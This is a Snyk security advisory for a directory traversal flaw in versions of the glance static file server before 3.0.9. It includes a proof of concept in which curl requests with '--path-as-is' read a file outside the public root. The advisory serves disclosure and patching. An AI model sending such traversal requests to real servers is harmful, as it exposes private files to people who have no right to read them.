Directory Traversal Affecting glance package, versions <3.0.9


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.08% (36th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Directory Traversal vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-GLANCE-3318395
  • published12 Feb 2023
  • disclosed12 Feb 2023
  • creditLiran Tal - Snyk Research Team

Introduced: 12 Feb 2023

CVE-2022-25937  (opens in a new tab)
CWE-22  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade glance to version 3.0.9 or higher.

Overview

glance is a quick disposable http server for static files.

Affected versions of this package are vulnerable to Directory Traversal that allows users to read files outside the public root directory. This is related to but distinct from the vulnerability reported in CVE-2018-3715.

PoC

Run glance in a directory containing subdirectories named private, public and public-isprivate, setting public as the public root directory.

npx glance --dir "public" --verbose

Run these from the same directory:

curl --path-as-is "http://localhost:8080/../private/index.html" This request is denied, as expected with the prior vulnerability fix.

curl --path-as-is "http://localhost:8080/../public/index.html" This request is allowed, as expected with the functionality of the local HTTP server.

curl --path-as-is "http://localhost:8080/../public-isprivate/index.html" This request should be denied because it is outside the public/ folder, but it is actually allowed.

References

CVSS Scores

version 3.1